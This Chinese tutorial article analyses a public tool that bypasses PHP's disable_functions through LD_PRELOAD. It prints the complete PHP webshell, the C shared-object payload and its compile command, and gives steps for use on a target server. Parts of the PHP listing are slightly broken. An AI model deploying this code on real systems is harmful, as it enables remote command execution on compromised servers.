突破PHP函数禁用执行Shell代码分析

栏目: IT技术 · 发布时间: 4年前

内容简介:本文为yangyangwithgnu师傅的bypass_disablefunc_via_LD_PRELOAD工程代码分析,虽yangyangwithgnu师傅写的核心思想非常清楚,但像本人一样的菜鸟缺乏一些概念基础导致难于理解整体,为此通过结合一些基础来分析源码。Getshell时无法执行系统命令将bypass_disablefunc.php 和 bypass_disablefunc_x64.so共享文件传到目标服务器上,指定三个参数构造URL。

前言

本文为yangyangwithgnu师傅的bypass_disablefunc_via_LD_PRELOAD工程代码分析,虽yangyangwithgnu师傅写的核心思想非常清楚,但像本人一样的菜鸟缺乏一些概念基础导致难于理解整体,为此通过结合一些基础来分析源码。

一、问题描述

Getshell时无法执行系统命令

二、直接利用过程

将bypass_disablefunc.php 和 bypass_disablefunc_x64.so共享文件传到目标服务器上,指定三个参数构造URL。

http://site.com/bypass_disablefunc.php?cmd= 命令执行输入&outpath=outpath&sopath=sopath 

一是 cmd 参数,待执行的系统命令;

二是 outpath 参数,保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点;

三是 sopath 参数,指定劫持系统函数的共享对象的 绝对路径 (如 /var/www/bypass_disablefunc_x64.so)(上传时指定),另外关于该参数,你应注意 web 是否可跨目录访问到它。

前提:

了解系统信息,如果系统不是debian、x64同类型的 linux 系统则需要重新编译

bypass_disablefunc_x64.so 为执行命令的共享对象,

用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so

将 bypass_disablefunc.c 编译而来。 若目标为 x86 架构,需要加上 -m32 选项重新编译,bypass_disablefunc_x86.so。

保证:outpath文件路径web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点;

三、代码执行过程描述

1、先把恶意 shell 指令写成cmd >/tmp/xx 2>&1,以便读取返回信息及错误信息;

2、通过写入新的环境变量EVIL_CMDLINE(系统不存在,工程生成),从而传递恶意shell指令给予共享文件等待执行;

3、通过写入LD_PRELOAD环境变量来使准备好的共享文件代码优先加载;

4、通过mail函数触发共享文件加载;

共享文件内容工作:通过__attribute__ ((__constructor__))修饰符修饰函数使得共享文件一旦被加载就会执行,无论触发加载函数(这里使用的mail)是否执行成功与否、第三方插件是否存在,只要加载即执行

5、共享文件被加载,__attribute__ ((__constructor__))修饰的系统函数会比触发加载的第三方插件函数先执行。在执行系统函数system(cmdline)前,使用extern char** environ打断共享文件的二次加载(不然第二次加载的构造函数再执行到系统函数system(cmdline)前又第三次加载该共享文件,往返,从而到达无限循环)。

6、命令的二进制文件顺利在系统的内存中被执行,执行的结果或错误信息都记录到/tmp/xx文件中。

7、通过nl2br(file_get_contents($out_path)) 句子分行的显示在网页页面上,最后通过unlink删除文件,等待下一次的写入、显示。

四、代码预览

bypass_disablefunc.php文件——传递恶意shell命令、设置最实现最高级加载、显示命令执行情况

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?   

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";#第一步

    putenv("EVIL_CMDLINE=" . $evil_cmdline);#第二步

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);#第三步

    mail("", "", "", "");#第四步

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
    unlink($out_path);第七步

?>

bypass_disablefunc_x64.so文件的 C语言 代码——执行恶意shell指令

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");
    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    // executive command
    system(cmdline);
}

五、代码分析

01目的:编写在系统调用第三方组件函数前先执行的函数

02操作

共享对象文件使用c语言来编写

共享的函数使用__attribute__ ((__constructor__)) 进行修饰

__attribute__ ((__constructor__)) void preload (void)

03基础概念

GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它 修饰的函数在 main() 之前执行 ,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 。

01目的:停止环境变量对system(cmdline)函数执行前的打断

02操作:

共享文件C语言中加入以下代码,通过改环境写入\0进行清空环境变量

extern char** environ ;
int i;
for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } }

03基础概念

每个程序都有一个环境表,它是一个字符指针数组,其中每个指针包含一个以NULL结尾的C字符串的地址。全局变量environ则包含了该指针数组的地址:externchar **environ;

在调用system(cmdline);会又使得LD_PRELOAD再加载自身,这就陷入无限循环。因此写入\0,对函数执行的环境变量修改,打断LD_PRELOAD再加载自身,从而顺利执行system(cmdline);

01目的:读取环境变量中的恶意shell指令并执行

02操作:

共享文件C语言中加入以下代码、使用C语言调用的系统函数

const char* cmdline = getenv("EVIL_CMDLINE");
system(cmdline);

03基础概念

读取环境变量函数及系统执行函数

getenv ( string $varname [, bool $local_only = FALSE ] ) : stringint

system(const char *command);

01目的:生成系统执行的二进制文件,供于被调用

02操作:

编译动态库、通过c语言编写功能函数,再使用GCC执行系统cmd命令

gcc -shared -fPIC -o 1.so 1.c

03基础概念

在 windows 平台和 Linux 平台下都大量存在着库。

库,是一种可执行代码的二进制形式,可以被操作系统载入内存执行。

共享库(动态库)的代码是在可执行程序运行时才载入内存的,在编译过程中仅简单的引用,因此代码体积较小。动态通常用.so为后缀

-fPIC 作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code),则产生的代码中,没有绝对地址,全部使用相对地址,故而代码可以被加载器加载到内存的任意位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。

译成 x86 架构需要加上 -m32 选项

01目的:恶意shell指令组合,输出结果和错误信息都记录到指定地方/tmp/xx,从而可以被读取显示结果或错误信息

02操作:

cmd >/tmp/xx 2>&1

03基础概念:

2>&1 的意思就是将标准错误重定向到标准输出。

Linux的文件描述符–标准输入输出说明

stdin,标准输入,默认设备是键盘,文件编号为0。

stdout,标准输出,默认设备是显示器,文件编号为1,也可以重定向到文件。

stderr,标准错误,默认设备是显示器,文件编号为2,也可以重定向到文件。

>&重定向符

01目的:设置环境变量的值,传递恶意shell指令以及指定的动态库加载的优先级最高

02操作:

putenv("EVIL_CMDLINE=" . $evil_cmdline);
putenv("LD_PRELOAD=bypass_disablefunc_x64.so");

03基础概念:

putenv ( string $setting ) : bool

添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。如果环境中没有该服务器环境变量,则会临时存在。

EVIL_CMDLINE在环境变量是不存在,人为生成传递函数用

LD_PRELOAD的作用是为优先加载库设置

一般情况下,库加载顺序为LD_PRELOAD>LD_LIBRARY_PATH> /etc/ld.so.cache>/lib>/usr/lib。

LD_PRELOAD、LD_LIBRARY_PATH都为环境变量、/etc/ld.so.cache、/usr/lib为文件目录;

01目的:触发系统执行编写的二进制文件,执行__attribute__ ((__constructor__)) void preload (void);

02操作:

mail(“”, “”, “”, “”);

03基础概念

mail() 函数允许您从脚本中直接发送电子邮件。

注:php代码中只是为了创建新进程,触发系统对LD_PRELOAD的加载,因__attribute__ ((__constructor__)) 属性的函数会优先main函数先执行,实际在该工程中mail不需要第三方sendmail的支持;

01目的:读取存入/tmp/xx的信息

02操作:

nl2br(file_get_contents($out_path))

03基础概念:

file_get_contents — 将整个文件读入一个字符串

file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1 [, int$maxlen ]]]] ) : string

file() 一样,只除了 file_get_contents() 把文件读入一个字符串。将在参数 offset 所指定的位置开始读取长度为maxlen 的内容。如果失败,file_get_contents() 将返回 FALSE。

nl2br() 函数在字符串中的每个新行(\n)之前插入 HTML 换行符(<br> 或 <br />)。

01目的:删除文件

02操作:

unlink($out_path);

03基础概念

unlink(filename,context)

定义和用法

unlink() 函数删除文件。

如果成功,该函数返回 TRUE。如果失败,则返回 FALSE。

参数 描述
filename 必需。规定要删除的文件。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

六、总结

php.in实际为 php 管理文件,通过把指定函数写入黑名单,禁止php自身使用php封装的函数,但它不能禁用系统,第三方组件、甚至写成二进制执行功能的函数(无法识别);在进一步的学习中,当遇到同样的问题再以此作为分析条件,进行针对性绕过。

七、原文链接

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

*本文作者:坐忘哪需无心,转载请注明来自FreeBuf.COM


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

他们以为自己很厉害:12个企业管理陷阱

他们以为自己很厉害:12个企业管理陷阱

[法] 克里斯蒂娜•凯德朗 / 王倩 / 人民邮电出版社 / 2018-11 / 69.00元

本书讲述了震惊世界的150个企业管理失败案例,并从产品与服务定位、技术 创新、广告与营销策略、跨文化发展、融资战略到企业文化与员工管理等众多角度, 揭露了商场各种败局的内幕。作者以风趣的笔触讲述了国际知名企业和商界精英们 的惨痛教训,又以专业角度解读了这些失利背后的经济学和管理学因素,给读者带 来了启示。一起来看看 《他们以为自己很厉害:12个企业管理陷阱》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器